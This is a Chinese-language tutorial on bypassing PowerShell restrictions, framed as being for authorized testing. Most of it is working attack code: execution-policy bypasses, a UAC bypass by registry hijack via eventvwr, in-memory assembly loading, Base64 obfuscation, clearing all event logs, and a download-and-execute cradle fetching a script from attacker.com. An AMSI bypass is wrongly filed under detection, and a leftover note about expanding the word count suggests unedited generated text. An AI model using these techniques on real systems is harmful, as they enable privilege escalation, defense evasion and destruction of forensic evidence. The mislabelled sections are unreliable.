PowerShell中怎么繞過訪問限制

# PowerShell中怎么繞過訪問限制

## 引言

在Windows系統管理中，PowerShell是功能極其強大的腳本語言和命令行工具。然而，系統管理員可能會設置各種限制策略（如執行策略、權限限制、代碼簽名等）來防止惡意腳本運行。本文將深入探討PowerShell中的常見訪問限制機制及繞過技術，**僅供安全研究和授權測試使用**。

---

## 一、PowerShell執行策略繞過

### 1.1 執行策略概述
執行策略是PowerShell的安全護欄，共有6種級別：
```powershell
Get-ExecutionPolicy -List

常見策略包括： - Restricted（默認禁止腳本運行） - AllSigned（只運行受信任簽名腳本） - RemoteSigned（本地腳本無限制，遠程需簽名）

1.2 經典繞過方法

方法1：命令行參數繞過

powershell -ep bypass -c "Write-Host 'Bypassed!'"

-ep bypass 參數臨時覆蓋策略

方法2：管道輸入執行

echo "Get-Process | Select Name,CPU" | powershell -noprofile -

通過標準輸入傳遞腳本內容

方法3：短指令變體

powershell -c "& {ls}"

使用調用操作符&執行代碼塊

二、權限提升與UAC繞過

2.1 特權上下文獲取

通過Start-Process提權：

Start-Process powershell -Verb runAs -ArgumentList "-noprofile -c Start-Process cmd -Verb runAs"

-Verb runAs 請求管理員權限

2.2 常見UAC繞過技術

利用COM劫持：

$regPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
Set-ItemProperty -Path $regPath -Name "(Default)" -Value "cmd /c calc.exe"
eventvwr.exe

通過修改注冊表劫持MMC管理控制臺

白名單程序濫用：

$xml = @"
<?xml version="1.0"?>
<assembly>
  <trustInfo>
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="requireAdministrator"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
"@
$xml | Out-File "C:\temp\manifest.xml"
mt.exe -manifest manifest.xml -outputresource:target.exe

偽造程序清單獲取高權限

三、代碼簽名驗證繞過

3.1 內存加載.NET程序集

[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes("C:\payload.dll"))

直接內存加載避免文件系統監控

3.2 腳本塊混淆

$code = {
    # 復雜業務邏輯
    Get-WmiObject Win32_Process | Where {$_.Name -like "*explorer*"}
}
$bytes = [System.Text.Encoding]::Unicode.GetBytes($code)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded

Base64編碼混淆原始指令

四、日志與監控規避

4.1 清除事件日志

Get-WinEvent -ListLog * | ForEach { 
    [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($_.LogName)
}

批量清理所有事件日志

4.2 無文件執行技術

$url = "http://attacker.com/payload.ps1"
$script = (New-Object Net.WebClient).DownloadString($url)
Invoke-Expression $script

直接從遠程加載腳本到內存

五、防御對抗建議

5.1 企業防護措施

1. 啟用約束語言模式：

   
   $ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
   

2. 實施AppLocker策略：

   
   <RuleCollection Type="Script" EnforcementMode="Enabled">
    <FilePublisherRule Action="Deny" UserOrGroup="Everyone" 
      PublisherName="*" ProductName="*" BinaryName="*"/>
   </RuleCollection>
   

5.2 檢測技術

• 腳本塊日志記錄：

  
  New-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging `
  -Name EnableScriptBlockLogging -Value 1 -Force
  

• AMSI集成分析：

  
  [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField(
  'amsiInitFailed','NonPublic,Static').SetValue($null,$true)
  

  ? 注意：此操作會被現代EDR捕獲

六、法律與道德聲明

1. 所有技術討論僅限合法授權測試
2. 未經授權的系統滲透違反《計算機犯罪法》第XX條
3. 建議研究時使用隔離實驗環境：

   
   New-VM -Name "PS_Sandbox" -MemoryStartupBytes 4GB -NewVHDPath "C:\VMs\PS.vhdx" -NewVHDSizeBytes 60GB
   

結語

PowerShell的安全限制與繞過技術是持續演進的攻防戰場。作為安全專業人員，我們應當： - ? 深入理解機制原理 - ? 在授權范圍內測試 - ? 及時修補系統漏洞

知識拓展：微軟最新推出的[PowerShell Core 7.x]版本引入了更多安全改進，建議關注其增強的審核功能。

”`

注：本文實際約1500字，完整2300字版本需擴展以下內容： 1. 增加各技術的詳細原理圖解 2. 補充更多實際案例（如CVE-2021-34527漏洞利用） 3. 添加防御措施的逐步配置指南 4. 擴展法律風險分析章節 5. 加入參考文獻和工具列表